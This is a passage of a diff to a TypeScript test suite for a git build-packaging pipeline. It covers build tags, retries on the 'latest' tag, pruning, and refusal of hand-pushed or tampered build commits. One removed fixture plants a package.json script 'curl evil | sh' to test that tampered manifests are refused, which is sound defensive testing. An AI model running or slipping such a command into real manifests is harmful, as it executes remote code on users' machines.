fx.mergeSha); + const rival = rivalPackage(fx, "rival-other", fx.mergeSha, "competitor-bundle\n"); + const pushes = withPushPlans( fx, - "seed-backfill", - fx.seedSha, - newer, - "packaged-bundle-bytes-0\n", + [{ competitor: { from: rival.from, sha: rival.sha, ref } }], + () => { + expect(() => packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( + /packages [0-9a-f]{40}, but its tree [0-9a-f]{40} is not the tree [0-9a-f]{40} this checkout's build packages/, + ); + }, ); - git(backfill.from, "push", "--quiet", "origin", `${backfill.sha}:refs/heads/build`); - git(backfill.from, "tag", "-a", "-f", "-m", "by hand", "latest", newer); - git(backfill.from, "push", "--quiet", "--force", "origin", "refs/tags/latest"); - const tagObject = git(fx.origin, "rev-parse", "refs/tags/latest"); - expect(tagObject).not.toBe(newer); - expect(latestTag(fx)).toBe(newer); - const rerun = checkoutOf(fx, "seed-rerun", fx.seedSha, "packaged-bundle-bytes-0\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: rerun, sourceSha: fx.seedSha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: backfill.sha, - latestSha: newer, - reason: `refs/heads/build already packages ${fx.seedSha} at ${backfill.sha}; refs/tags/latest already at ${newer}`, - }); - expect(pushes).toEqual([]); - expect(git(fx.origin, "rev-parse", "refs/tags/latest")).toBe(tagObject); + expect(pushes).toHaveLength(1); + expect(packagedOf(fx, fx.mergeSha)).toBe(rival.sha); + expect(remoteRef(fx, LATEST)).toBe(""); }); - test("a hand-moved latest is brought back to the tip by the next run", () => { + test("a latest lease overtaken by a hand move to a bare main commit is retried on the re-observed value and replaces it", () => { const fx = seedFixture(); - const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - git(fx.work, "push", "--quiet", "--force", "origin", `${fx.seedSha}:refs/tags/latest`); - const rerun = checkoutOf(fx, "latest-heal", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: rerun, sourceSha: fx.mergeSha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: tip, - latestSha: tip, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest: moved to ${tip}`, - }); - expect(pushes).toEqual([latestOf(fx.seedSha, tip)]); - expect(latestTag(fx)).toBe(tip); + const ref = buildTagOf(fx, fx.mergeSha); + let result: ReturnType | undefined; + // The seed is a root of main: with no parent it is no package, so it is replaced, not judged. + const pushes = withPushPlans( + fx, + [null, { competitor: { from: fx.work, sha: fx.seedSha, ref: LATEST } }], + () => { + result = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + }, + ); + const packaged = packagedOf(fx, fx.mergeSha); + expect(result?.latest).toMatchObject({ sha: packaged, changed: true }); + expect(pushes).toEqual([ + createOf(packaged, ref), + moveOf(LATEST, "", packaged), + moveOf(LATEST, fx.seedSha, packaged), + ]); + expect(latestTag(fx)).toBe(packaged); }); - function plantBuild( - fx: Fixture, - name: string, - from: string, - message: string[], - files: Record = builtFiles("planted\n"), - ): string { - const planter = clone(fx.root, fx.origin, name); - git(planter, "checkout", "--quiet", from); - stripWorkflows(planter); - for (const [file, content] of Object.entries(files)) { - if (typeof content === "string") { - write(planter, file, content); - } else { - mkdirSync(dirname(join(planter, file)), { recursive: true }); - symlinkSync(content.linkTo, join(planter, file)); - } - git(planter, "add", "-f", file); - } - if (shouldStripManifest(files)) { - stripPrepare(planter); - } - const paragraphs = message.flatMap((paragraph) => ["-m", paragraph]); - git(planter, "commit", "--quiet", "--allow-empty", ...paragraphs); - git(planter, "push", "--quiet", "--force", "origin", "HEAD:refs/heads/build"); - return git(planter, "rev-parse", "HEAD"); - } - - function plantForeignBuild(fx: Fixture, from: string): { sideSha: string; planted: string } { - const side = clone(fx.root, fx.origin, "build-side"); - git(side, "checkout", "--quiet", "-b", "side", from); - write(side, "src/marker.ts", "export const marker = 'side';\n"); - const sideSha = commitAll(side, "feat: never merged"); - git(side, "push", "--quiet", "origin", "HEAD:refs/heads/side"); - const planted = plantBuild(fx, "build-foreign", sideSha, [ - "build: by hand", - `Source: ${sideSha}`, + test("a latest lease overtaken on every attempt gives up naming the concurrent mover, with the tag minted", () => { + const fx = seedFixture(); + const ref = buildTagOf(fx, fx.mergeSha); + const movers = [fx.seedSha, fx.mergeSha, fx.seedSha]; + const pushes = withPushPlans( + fx, + [null, ...movers.map((sha) => ({ competitor: { from: fx.work, sha, ref: LATEST } }))], + () => { + expect(() => packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( + `could not move ${LATEST} after 3 compare-and-swap attempts; something keeps moving it concurrently - rerun this job once it settles.`, + ); + }, + ); + const packaged = packagedOf(fx, fx.mergeSha); + expect(pushes).toEqual([ + createOf(packaged, ref), + moveOf(LATEST, "", packaged), + moveOf(LATEST, fx.seedSha, packaged), + moveOf(LATEST, fx.mergeSha, packaged), ]); - return { sideSha, planted }; - } - - const byHand = - "refusing to build on a build branch this pipeline did not mint - inspect it by hand."; - const foreign = (tip: string, source: string): string => - `refs/heads/build is at ${tip}, built from ${source}, which is not on main's history; refusing to append to a build branch this pipeline did not advance - inspect it by hand.`; - - function rebuiltTree(fx: Fixture, name: string, source: string): string { - const rebuild = clone(fx.root, fx.origin, name); - git(rebuild, "checkout", "--quiet", source); - stripWorkflows(rebuild); - writeBuild(rebuild, "planted\n"); - stageBuild(rebuild); - stripPrepare(rebuild); - return git(rebuild, "write-tree"); - } + expect(latestTag(fx)).toBe(fx.seedSha); + }); - function notAPackage( - fx: Fixture, - where: "is at" | "holds", - planted: string, - source: string, - changed: string, - ): Error { - const actual = git(fx.origin, "rev-parse", `${planted}^{tree}`); - const expected = rebuiltTree(fx, `rebuilt-${planted.slice(0, 8)}`, source); - return new Error( - `refs/heads/build ${where} ${planted}, which names ${source} as its source but is not ` + - `${source} plus lib/index.js and lib/pkg/, minus package.json's preparation scripts, and the removal of .github/workflows/ alone: its tree is ` + - `${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ` + - `${source}: ${changed}); ${byHand}`, + test("a newer commit landing and taking latest after this run read main's head leaves latest there: the head is re-read after the pointer", () => { + const fx = seedFixture(); + // B, its package, and its build tag exist only in this clone until the plan pushes them, right before this + // run's first push; the prune lists the tag and keeps it (the window is not full). + const next = clone(fx.root, fx.origin, "next"); + write(next, "src/marker.ts", 'export const marker = "second-green";\n'); + const b = commitAll(next, "feat: second-green"); + const pb = plantCommitIn(next, b, b, builtFiles("packaged-bundle-bytes-2\n"), [ + "build: by another run", + ]); + const landing = `git -C "${next}" push --quiet origin ${b}:refs/heads/main ${pb}:${LATEST} ${pb}:refs/tags/build/3.${b.slice(0, 7)}\n`; + let result: ReturnType | undefined; + const pushes = withPushPlans(fx, [{ script: landing }], () => { + result = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + }); + const packaged = packagedOf(fx, fx.mergeSha); + expect(result && outcome(result)).toEqual({ + created: true, + ref: buildTagOf(fx, fx.mergeSha), + commit: packaged, + source: fx.mergeSha, + pruned: [], + latest: { sha: pb, changed: false }, + }); + expect(pushes).toEqual([createOf(packaged, buildTagOf(fx, fx.mergeSha))]); + expect(latestTag(fx)).toBe(pb); + expect(buildTags(fx).sort()).toEqual( + [buildTagOf(fx, fx.mergeSha), `refs/tags/build/3.${b.slice(0, 7)}`].sort(), ); - } + }); - /** A tip with an EMPTY subtree at `empty/`, which a path diff cannot list. */ - function plantEmptySubtreeBuild(fx: Fixture, from: string): string { - const planter = clone(fx.root, fx.origin, "build-empty-subtree"); - git(planter, "checkout", "--quiet", from); - stripWorkflows(planter); - writeBuild(planter, "planted\n"); - stageBuild(planter); - stripPrepare(planter); - const emptyTree = execFileSync("git", ["hash-object", "-w", "-t", "tree", "--stdin"], { - cwd: planter, - input: "", - encoding: "utf8", - }).trim(); - const entries = `${git(planter, "ls-tree", git(planter, "write-tree"))}\n040000 tree ${emptyTree}\tempty\n`; - const tree = execFileSync("git", ["mktree"], { - cwd: planter, - input: entries, - encoding: "utf8", - }).trim(); - const planted = git( - planter, - "commit-tree", - tree, - "-p", - from, - "-m", - "build: by hand", - "-m", - `Source: ${from}`, - ); - git(planter, "push", "--quiet", "--force", "origin", `${planted}:refs/heads/build`); - return planted; - } + test("a hand-pushed latest at a bare child of a newer main commit stops a run for an older commit instead of standing as already past", () => { + const fx = seedFixture(); + const b = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + // A child of B with B's tree and no build: its parent is on main, so ancestry alone would read it as newer. + const bare = git(b.dir, "commit-tree", `${b.sha}^{tree}`, "-p", b.sha, "-m", "by hand"); + git(b.dir, "push", "--quiet", "origin", `${bare}:${LATEST}`); + const stale = checkoutOf(fx, "stale", fx.mergeSha, "packaged-bundle-bytes-1\n"); + const pushes = withPushPlans(fx, [], () => { + expect(() => packageCommit({ cwd: stale, sourceSha: fx.mergeSha })).toThrow( + new RegExp( + `^${LATEST} \\(${bare}\\) is not ${b.sha} plus lib/index\\.js and lib/pkg/, minus package\\.json's preparation scripts, alone: .*; inspect it by hand\\.$`, + ), + ); + }); + expect(pushes).toEqual([createOf(packagedOf(fx, fx.mergeSha), buildTagOf(fx, fx.mergeSha))]); + expect(latestTag(fx)).toBe(bare); + }); - /** Plants a build tip the advance from fx.work (at the merge commit) must refuse; returns the tip and the exact or matching error. */ - type Refusal = (fx: Fixture) => { planted: string; error: RegExp | Error }; - const refused: [string, Refusal][] = [ - [ - "built from a commit off main's history that this checkout knows", - (fx) => { - const { sideSha, planted } = plantForeignBuild(fx, fx.seedSha); - // Known locally, so the verdict is merge-base's, not the unknown-sha screen. - git(fx.work, "fetch", "--quiet", "origin", "refs/heads/side"); - return { planted, error: new Error(foreign(planted, sideSha)) }; - }, - ], - [ - "built from a commit this checkout has never seen", - (fx) => { - const { sideSha, planted } = plantForeignBuild(fx, fx.seedSha); - return { planted, error: new Error(foreign(planted, sideSha)) }; - }, - ], - [ - "built from a descendant of this commit that never reached main", - (fx) => { - // Descends from main's head, so ancestry alone would read it as a newer run's work; only its absence from main tells it apart. - const { sideSha, planted } = plantForeignBuild(fx, fx.mergeSha); - git(fx.work, "fetch", "--quiet", "origin", "refs/heads/side"); - return { planted, error: new Error(foreign(planted, sideSha)) }; - }, - ], - [ - "carrying no Source trailer", - (fx) => { - const planted = plantBuild(fx, "build-untrailed", fx.mergeSha, ["build: by hand"]); - return { - planted, - error: new Error( - `refs/heads/build is at ${planted}, which carries no Source trailer, so this pipeline did not mint it; ${byHand}`, - ), - }; - }, - ], - [ - "naming its source by an abbreviated sha", - (fx) => { - // Git resolves the alias onto main, so every ancestry check passed; the chain map is keyed by the - // trailer's text, so the lookup for this source missed and the run appended onto the hand-pushed tip. - const alias = fx.mergeSha.slice(0, 12); - const planted = plantBuild(fx, "build-aliased", fx.mergeSha, [ - "build: by hand", - `Source: ${alias}`, - ]); - return { - planted, - error: new Error( - `refs/heads/build is at ${planted}, whose Source trailer "${alias}" is not a full commit sha, so this pipeline did not mint it; ${byHand}`, - ), - }; - }, - ], - [ - "naming this source but changing more than the build outputs", - (fx) => { - const planted = plantBuild( - fx, - "build-extra", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - { ...builtFiles("planted\n"), "src/marker.ts": "export const marker = 666;\n" }, - ); - return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "src/marker.ts") }; - }, - ], - [ - "naming this source with build outputs that are not this checkout's build", - (fx) => { - const genuine = checkoutOf(fx, "build-genuine", fx.mergeSha, "packaged-bundle-bytes-1\n"); - const built = advanceBuild({ cwd: genuine, sourceSha: fx.mergeSha }).buildSha; - const tree = git(fx.origin, "rev-parse", `${built}^{tree}`); - const planted = plantBuild(fx, "build-rebuilt", fx.mergeSha, [ - "build: by hand", - `Source: ${fx.mergeSha}`, - ]); - const plantedTree = git(fx.origin, "rev-parse", `${planted}^{tree}`); - return { - planted, - error: new Error( - `refs/heads/build holds ${planted}, which names ${fx.mergeSha} as its source but ` + - `its tree ${plantedTree} is not the tree ${tree} this checkout's build of ` + - `${fx.mergeSha} packages, so the two differ under lib/index.js and lib/pkg/ (bytes, ` + - "file modes, or the files under lib/pkg/): either the commit was not built from this " + - "source or the build is not reproducible, and the Source trailer cannot tell those " + - "apart. Diff the two trees by hand; a hand-pushed commit is left for the next green " + - "push to bury (the ruleset on build forbids moving it back), a build that differs " + - "between runs is fixed before build can be trusted.", - ), - }; - }, - ], - [ - "naming a newer main commit but lacking its bundle", - (fx) => { - // A stale rerun would read this as "already past"; the tip's own tree still has to be a package of the source it names. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const planted = plantBuild( - fx, - "build-unbundled", - next.sha, - ["build: by hand", `Source: ${next.sha}`], - {}, - ); - return { - planted, - error: new Error( - `${planted} does not carry a non-empty regular-file lib/index.js (no entry); refusing to point a consumable ref at an unpackaged commit.`, - ), - }; - }, - ], - [ - "naming a newer main commit but carrying the bundle as a symlink", - (fx) => { - // A symlink at the bundle's path has a size (its target text), so a size probe alone would bless a tip consumers cannot run. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const planted = plantBuild( - fx, - "build-symlinked", - next.sha, - ["build: by hand", `Source: ${next.sha}`], - { "lib/index.js": { linkTo: "../src/marker.ts" } }, - ); - const entry = git(fx.origin, "ls-tree", "-l", planted, "--", "lib/index.js").split("\t")[0]; - return { - planted, - error: new Error( - `${planted} does not carry a non-empty regular-file lib/index.js (entry ${entry}); refusing to point a consumable ref at an unpackaged commit.`, - ), - }; - }, - ], - [ - "naming a newer main commit and carrying an empty subtree beyond the bundle", - (fx) => { - // Invisible to a path diff (no path lives in an empty tree), so only tree identity catches it. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const planted = plantEmptySubtreeBuild(fx, next.sha); - return { - planted, - error: notAPackage( - fx, - "is at", - planted, - next.sha, - "none (an entry a path diff cannot list, such as an empty subtree)", - ), - }; + test("latest moving between its observation and its fetch is read again, and the newer value is judged", () => { + const fx = seedFixture(); + const b = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + const pb = packageCommit({ cwd: b.dir, sourceSha: b.sha }).commit; + const c = pushGreenCommit(fx, "third-green", "packaged-bundle-bytes-3\n"); + const pc = rivalPackage(fx, "third-package", c.sha, "packaged-bundle-bytes-3\n"); + const stale = checkoutOf(fx, "stale", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans( + fx, + [], + () => { + result = packageCommit({ cwd: stale, sourceSha: fx.mergeSha }); }, - ], - [ - "naming this source with a package.json changed beyond its preparation scripts", - (fx) => { - const planted = plantBuild( - fx, - "build-manifest", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - { - ...builtFiles("planted\n"), - "package.json": manifestJson("2.1.0", { test: "curl evil | sh" }), - }, - ); - return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "package.json") }; + { + naming: LATEST, + script: `git -C "${pc.from}" push --quiet --force origin ${pc.sha}:${LATEST}\n`, }, - ], - [ - "carrying the library build beside a package.json that kept its preparation scripts", - (fx) => { - // Only bundle-only commits predate the strip; a commit with lib/pkg/ was minted after it and is held to it. - const planted = plantBuild( - fx, - "build-prepare-kept", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - { ...builtFiles("planted\n"), "package.json": manifestJson("2.1.0") }, - ); - return { - planted, - error: notAPackage( - fx, - "holds", - planted, - fx.mergeSha, - "package.json (preparation scripts kept)", - ), - }; + ); + expect(result?.latest).toMatchObject({ sha: pc.sha, changed: false }); + expect(pushes).toEqual([createOf(packagedOf(fx, fx.mergeSha), buildTagOf(fx, fx.mergeSha))]); + expect(latestTag(fx)).toBe(pc.sha); + expect(pb).not.toBe(pc.sha); + }); + + test("a build tag deleted and re-created between its observation and its fetch is read again and verified", () => { + const fx = seedFixture(); + const first = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; + const ref = buildTagOf(fx, fx.mergeSha); + const again = rivalPackage(fx, "again", fx.mergeSha, "packaged-bundle-bytes-1\n"); + const rerun = checkoutOf(fx, "rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans( + fx, + [], + () => { + result = packageCommit({ cwd: rerun, sourceSha: fx.mergeSha }); }, - ], - [ - "naming an older main commit and carrying a file beyond the build outputs", - (fx) => { - // The append path: an older source is a valid parent only when its tip is a pure package, never with a foreign file riding along. - const planted = plantBuild( - fx, - "build-older-extra", - fx.seedSha, - ["build: by hand", `Source: ${fx.seedSha}`], - { ...builtFiles("planted\n"), "src/marker.ts": "export const marker = 666;\n" }, - ); - return { planted, error: notAPackage(fx, "is at", planted, fx.seedSha, "src/marker.ts") }; + { + naming: ref, + script: `git -C "${fx.origin}" update-ref -d ${ref} && git -C "${again.from}" push --quiet origin ${again.sha}:${ref}\n`, }, - ], - ]; - test.each(refused)("a build tip %s stops the advance and stays put", (_name, plant) => { - const fx = seedFixture(); - const { planted, error } = plant(fx); - const latestBefore = remoteRef(fx, "refs/tags/latest"); - expect(() => advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow(error); - expect(buildTip(fx)).toBe(planted); - expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore); + ); + // latest still names the first commit of the package: another commit of the same package leaves it. + expect(result && outcome(result)).toEqual({ + created: false, + ref, + commit: again.sha, + source: fx.mergeSha, + pruned: [], + latest: { sha: first, changed: false }, + }); + expect(pushes).toEqual([]); + expect(latestTag(fx)).toBe(first); }); - test("a rerun for an older commit refuses a build tip naming its source by an abbreviated sha", () => { - // The "already past" path: the alias resolved for validateTip and isAncestor, then the latest walk found no - // chain commit keyed by a full sha on main and fell through to its own refusal. The tip is refused first now. + test("a build tag pruned between its observation and its fetch is minted again", () => { const fx = seedFixture(); - const alias = fx.mergeSha.slice(0, 12); - const planted = plantBuild(fx, "build-aliased-stale", fx.mergeSha, [ - "build: by hand", - `Source: ${alias}`, - ]); - const stale = checkoutOf(fx, "stale-aliased", fx.seedSha, "packaged-bundle-bytes-1\n"); - const latestBefore = remoteRef(fx, "refs/tags/latest"); - expect(() => advanceBuild({ cwd: stale, sourceSha: fx.seedSha })).toThrow( - new Error( - `refs/heads/build is at ${planted}, whose Source trailer "${alias}" is not a full commit sha, so this pipeline did not mint it; ${byHand}`, - ), + const first = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; + const ref = buildTagOf(fx, fx.mergeSha); + // latest is past the merge commit, as it is whenever the window has moved on far enough to prune its tag. + const b = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + const pb = packageCommit({ cwd: b.dir, sourceSha: b.sha }).commit; + const rerun = checkoutOf(fx, "rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans( + fx, + [], + () => { + // Another run URL, so the re-minted commit is its own sha whatever the clock says. + result = packageCommit({ cwd: rerun, sourceSha: fx.mergeSha, runUrl: RUN_URL }); + }, + { naming: ref, script: `git -C "${fx.origin}" update-ref -d ${ref}\n` }, ); - expect(buildTip(fx)).toBe(planted); - expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore); + const reminted = packagedOf(fx, fx.mergeSha); + expect(reminted).not.toBe(first); + expect(git(rerun, "rev-parse", `${reminted}^{tree}`)).toBe( + git(fx.origin, "rev-parse", `${first}^{tree}`), + ); + expect(result && outcome(result)).toEqual({ + created: true, + ref, + commit: reminted, + source: fx.mergeSha, + pruned: [], + latest: { sha: pb, changed: false }, + }); + expect(pushes).toEqual([createOf(reminted, ref)]); }); - test("the preparation triggers are the six pacote reads before it prepares a git dependency", () => { - // Pinned as a literal: the fixture derives from the exported list, so a name dropped there would vanish - // from the fixture too and the manifest test below could not see it go. - expect(PREPARATION_SCRIPTS).toEqual([ - "prepare", - "prepack", - "build", - "preinstall", - "install", - "postinstall", - ]); - }); + test.each(PERMANENT)( + "%s fails the tag push for good after every attempt (a refusal with the ref absent looks like a rival's create-and-prune), with git's own words, and nothing reaches origin", + (_name, stderr) => { + const fx = seedFixture(); + const ref = buildTagOf(fx, fx.mergeSha); + const fail = { fail: { stderr, status: 128 } }; + let error: unknown; + const pushes = withPushPlans(fx, [fail, fail, fail], () => { + try { + packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + } catch (thrown) { + error = thrown; + } + }); + const attempted = pushes.map(createdSha); + expect(pushes).toEqual(attempted.map((sha) => createOf(sha, ref))); + expect(attempted).toHaveLength(3); + for (const sha of attempted) { + expect(parentsOf(fx.work, sha)).toEqual([fx.mergeSha]); + } + expect(error).toEqual( + new Error(`git push origin ${attempted[2]}:${ref} failed: ${stderr.trim()}`), + ); + expect(buildTags(fx)).toEqual([]); + expect(remoteRef(fx, LATEST)).toBe(""); + }, + ); - test("a chain commit's package.json is the source's without its preparation scripts, and a rerun holds it there", () => { + test("a create refused while the ref reads absent (a rival created and pruned it in between) is tried again, and the retry lands", () => { const fx = seedFixture(); - const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - expect(git(fx.origin, "show", `${tip}:package.json`)).toBe( - manifestJson("2.1.0", STRIPPED_SCRIPTS).trimEnd(), - ); - expect(git(fx.origin, "show", `${fx.mergeSha}:package.json`)).toBe( - manifestJson("2.1.0").trimEnd(), - ); - const rerun = checkoutOf(fx, "manifest-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let again: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - again = advanceBuild({ cwd: rerun, sourceSha: fx.mergeSha }); + const ref = buildTagOf(fx, fx.mergeSha); + const stderr = PERMANENT[0]?.[1] ?? ""; + let result: ReturnType | undefined; + const pushes = withPushPlans(fx, [{ fail: { stderr, status: 128 } }], () => { + result = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha, runUrl: RUN_URL }); }); - expect(again).toEqual({ - changed: false, - buildSha: tip, - latestSha: tip, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest already at ${tip}`, + const packaged = packagedOf(fx, fx.mergeSha); + expect(result && outcome(result)).toEqual({ + created: true, + ref, + commit: packaged, + source: fx.mergeSha, + pruned: [], + latest: { sha: packaged, changed: true }, }); - expect(pushes).toEqual([]); - expect(buildTip(fx)).toBe(tip); - expect(latestTag(fx)).toBe(tip); + expect(pushes).toEqual([ + createOf(createdSha(pushes[0] ?? []), ref), + createOf(packaged, ref), + moveOf(LATEST, "", packaged), + ]); }); - test.each(["lib/index.js", "lib/pkg/index.js"])("an empty %s never reaches build", (file) => { + test.each(PERMANENT)( + "%s fails the latest push for good, with git's own words, after the tag was minted", + (_name, stderr) => { + const fx = seedFixture(); + const ref = buildTagOf(fx, fx.mergeSha); + let error: unknown; + const pushes = withPushPlans(fx, [null, { fail: { stderr, status: 128 } }], () => { + try { + packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + } catch (thrown) { + error = thrown; + } + }); + const packaged = packagedOf(fx, fx.mergeSha); + expect(pushes).toEqual([createOf(packaged, ref), moveOf(LATEST, "", packaged)]); + expect(error).toEqual( + new Error( + `git push --force-with-lease=${LATEST}: origin ${packaged}:${LATEST} failed: ${stderr.trim()}`, + ), + ); + expect(remoteRef(fx, LATEST)).toBe(""); + }, + ); + + test.each(["lib/index.js", "lib/pkg/index.js"])("an empty %s never reaches origin", (file) => { const fx = seedFixture(); write(fx.work, file, ""); - expect(() => advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( + expect(() => packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( `does not carry a non-empty regular-file ${file}`, ); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); + expect(buildTags(fx)).toEqual([]); + expect(remoteRef(fx, LATEST)).toBe(""); }); - test("a build tip minted before the library rode along is built on, and the child carries it", () => { + test("a shallow checkout is refused before any verdict", () => { const fx = seedFixture(); - // COMPAT(v3): a pre-library chain tip is still built on; delete this test with assertPackages' legacy arm. - // The chain as the pipeline left it before lib/pkg/ was packaged: the seed's tree minus workflows plus the - // bundle alone, latest on it. - const legacy = plantBuild( - fx, - "build-legacy", - fx.seedSha, - ["build: by hand", `Source: ${fx.seedSha}`], - { - "lib/index.js": "packaged-bundle-bytes-0\n", - }, + const dir = shallowClone(fx, "shallow"); + writeBuild(dir, "packaged-bundle-bytes-1\n"); + expect(() => packageCommit({ cwd: dir, sourceSha: fx.mergeSha })).toThrow( + "package-commit needs the full history (fetch-depth: 0) and this checkout is shallow: the commit's position on main and whether latest's source lies on its history cannot be judged on a truncated one.", ); - git(fx.work, "fetch", "--quiet", "origin", "refs/heads/build"); - git(fx.work, "push", "--quiet", "--force", "origin", `${legacy}:refs/tags/latest`); - let result: ReturnType | undefined; + expect(buildTags(fx)).toEqual([]); + }); + + test("a commit that never reached main is refused before any push", () => { + const fx = seedFixture(); + const side = clone(fx.root, fx.origin, "side"); + git(side, "checkout", "--quiet", "-b", "side", fx.seedSha); + write(side, "src/marker.ts", "export const marker = 'side';\n"); + const sideSha = commitAll(side, "feat: never merged"); + git(side, "push", "--quiet", "origin", "HEAD:refs/heads/side"); + writeBuild(side, "packaged-bundle-bytes-1\n"); const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); + expect(() => packageCommit({ cwd: side, sourceSha: sideSha })).toThrow( + `${sideSha} is not on origin's main (its head is ${fx.mergeSha}); refusing to package a commit main does not hold.`, + ); }); - const tip = buildTip(fx); - expect(result).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); - expect(pushes).toEqual([appendOf(tip), latestOf(legacy, tip)]); - expect(parentOf(fx.origin, tip)).toBe(legacy); - expect(git(fx.origin, "diff", "--name-only", fx.mergeSha, tip)).toBe(PACKAGED_DIFF); - // A stale rerun of the legacy source's run under this pipeline builds - // lib/pkg/ the chain commit lacks: it stops rather than rewrite the chain. - const stale = checkoutOf(fx, "legacy-rerun", fx.seedSha, "packaged-bundle-bytes-0\n"); - expect(() => advanceBuild({ cwd: stale, sourceSha: fx.seedSha })).toThrow( - new RegExp( - `refs/heads/build holds ${legacy}, which names ${fx.seedSha} as its source but its tree [0-9a-f]{40} is not the tree [0-9a-f]{40} this checkout's build of ${fx.seedSha} packages, so the two differ under lib/index.js and lib/pkg/`, - ), + expect(pushes).toEqual([]); + expect(buildTags(fx)).toEqual([]); + }); + + test("the eleventh green commit prunes the oldest tag; a release tag keeps its commit, a pruned release re-mints its package and prunes it at once, and the major moves forward only", () => { + const fx = seedFixture(); + // Position 2 is released before the window fills; position 3 is a release merge post-green packaged but the + // release hook never ran for. + const release = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); + retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); + const later = clone(fx.root, fx.origin, "later-release"); + write(later, ".release-please-manifest.json", `${JSON.stringify({ ".": "2.1.1" }, null, 2)}\n`); + write(later, "package.json", manifestJson("2.1.1")); + const laterMerge = commitAll(later, "chore(main): release 2.1.1 (#44)"); + git(later, "push", "--quiet", "origin", "HEAD:refs/heads/main"); + writeBuild(later, "packaged-bundle-bytes-2\n"); + const laterPackaged = packageCommit({ cwd: later, sourceSha: laterMerge }).commit; + const greens: { dir: string; sha: string }[] = []; + for (let n = 1; n < KEPT_BUILD_TAGS; n++) { + greens.push(pushGreenCommit(fx, `green-${n}`, `packaged-bundle-bytes-${n + 2}\n`)); + } + const results = greens.map((green) => packageCommit({ cwd: green.dir, sourceSha: green.sha })); + // Eleven tags before the last run's prune, ten after it: the release's went, the packaged merge's stays. + expect(results.map((result) => result.pruned)).toEqual([ + ...greens.slice(0, -1).map(() => []), + [buildTagOf(fx, fx.mergeSha)], + ]); + const newest = greens.at(-1) ?? { dir: "", sha: "" }; + const latestAt = packagedOf(fx, newest.sha); + expect(buildTags(fx).sort()).toEqual( + [buildTagOf(fx, laterMerge), ...greens.map((green) => buildTagOf(fx, green.sha))].sort(), + ); + expect(originHolds(fx, release.packagedSha)).toBe(true); + expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(release.packagedSha); + expect(latestTag(fx)).toBe(latestAt); + + // The released commit's rerun finds its version tag and holds it to the build: no build tag is minted again. + const rerun = checkoutOf(fx, "release-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let verifiedRelease: ReturnType | undefined; + const rerunPushes = withPushPlans(fx, [], () => { + verifiedRelease = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); + }); + expect(verifiedRelease).toMatchObject({ + created: false, + packagedSha: release.packagedSha, + pruned: [], + latest: { sha: latestAt, changed: false }, + }); + expect(rerunPushes).toEqual([]); + + // One more green prunes the 2.1.1 merge's tag; its release hook then mints the package again, tags it, prunes + // the fresh tag at once (the version tag keeps the commit), and moves the major forward; a rerun of 2.1.0's + // major step leaves it there. + const eleventh = pushGreenCommit(fx, "green-11", "packaged-bundle-bytes-13\n"); + expect(packageCommit({ cwd: eleventh.dir, sourceSha: eleventh.sha }).pruned).toEqual([ + buildTagOf(fx, laterMerge), + ]); + const hook = checkoutOf(fx, "later-hook", laterMerge, "packaged-bundle-bytes-2\n"); + let reminted: ReturnType | undefined; + const hookPushes = withPushPlans(fx, [], () => { + reminted = packageRelease({ + cwd: hook, + tag: "v2.1.1", + sourceSha: laterMerge, + runUrl: 